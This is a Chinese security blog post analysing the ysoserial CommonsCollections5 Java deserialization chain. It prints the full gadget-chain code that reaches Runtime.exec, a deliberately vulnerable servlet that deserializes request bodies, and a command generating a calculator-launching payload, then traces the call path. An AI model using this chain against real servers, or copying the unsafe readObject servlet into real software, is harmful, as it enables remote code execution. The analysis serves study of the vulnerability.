【yso】- CC5反序列化分析

admin 2022年5月24日08:54:31评论55 views字数 4187阅读13分57秒阅读模式

【yso】- CC5反序列化分析

前言

学习cc5反序列化链。在CC5链中ysoserial给出的提示是需要JDK1.8并且SecurityManager需要是关闭的。在实际尝试中jdk1.7.0_80也是可以的;JDK7u21不行,发现badAttributeValueExpException没有readObject()方法。

SecurityManager 是java的安全管理器,当运行未知的Java程序的时候,该程序可能有恶意代码(删除系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行的代码的权限进行控制,这时候就要启用Java安全管理器。该管理器默认是关闭的。

ysoserial 中的 CC5 payload构造

先看下yso中cc5这条链的payload是怎么构造的,后续我们再分析反序列化的过程。

public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
       new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
   Reflections.setAccessible(valfield);
valfield.set(val, entry);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return val;
}

前面生成ChainedTransformer利用链的过程跟cc1一致,不作过多讲解。

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

ChainedTransformer绑定到map对象上,当调用get方法的时候,就会调用到ChainedTransformertransform方法,从而引起连锁反应执行命令。

TiedMapEntry类

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return val;

这里实例化一个TiedMapEntry对象,传入其构造函数的参数为LazyMap对象和一个占位字符串。

随后通过反射的方法,将BadAttributeValueExpException对象的val属性赋值为前面new的TiedMapEntry对象,并将该BadAttributeValueExpException对象作为序列化对象返回。

我们看下TiedMapEntry类的相关源码:

public TiedMapEntry(Map map, Object key) {
   this.map = map;
   this.key = key;
}

public Object getKey() {
   return this.key;
}

public Object getValue() {
   return this.map.get(this.key);
}

上面传入构造函数的分别是LazyMap实例化对象和占位字符串。

getValue这个方法中,调用this.map.get()方法,就和前面的串联起来达成命令执行了。

public String toString() {
   return this.getKey() + "=" + this.getValue();
}

而在toString()方法中,就调用了getValue这个方法。

反序列化过程分析

1. 创建web项目

创建一个maven web项目,并创建一个servlet如下:

package com.example;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;

@WebServlet("/s1")
public class Servlet1 extends HttpServlet {
   @Override
   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       InputStream inputStream = req.getInputStream();
       ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
       try {
           objectInputStream.readObject();
      } catch (ClassNotFoundException e) {
           e.printStackTrace();
      }
  }

   @Override
   protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       this.doGet(req, resp);
  }
}

pom.xml中添加commons-collections 3.1依赖

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

使用yso生成calc命令的payload:

java -jar CommonsCollections5 calc > cc5.ser

利用burp发送payload,成功执行命令弹出计算器:

【yso】- CC5反序列化分析


2. 反序列化链分析

BadAttributeValueExpException.readObject()

【yso】- CC5反序列化分析

从序列化数据中获取BadAttributeValueExpException对象的val属性值,赋值给valObj变量,其为TiedMapEntry的对象。

如果SecurityManager关闭,则会调用TiedMapEntry.toString()方法。

TiedMapEntry.toString()

【yso】- CC5反序列化分析

在toString方法中,会调用TiedMapEntry.getValue()方法:

【yso】- CC5反序列化分析

在getValue方法中,调用this.map.get()方法,this.map对象就是前面我们构造序列化数据时的LazyMap,当调用get方法的时候,就会调用到ChainedTransformer的transform方法,从而引起连锁反应执行命令。该部分的分析可以参看cc1反序列化分析。

参考链接

https://www.cnblogs.com/nice0e3/p/13890340.html


原文始发于微信公众号(信安文摘):【yso】- CC5反序列化分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月24日08:54:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【yso】- CC5反序列化分析http://cn-sec.com/archives/1043866.html

发表评论

匿名网友 填写信息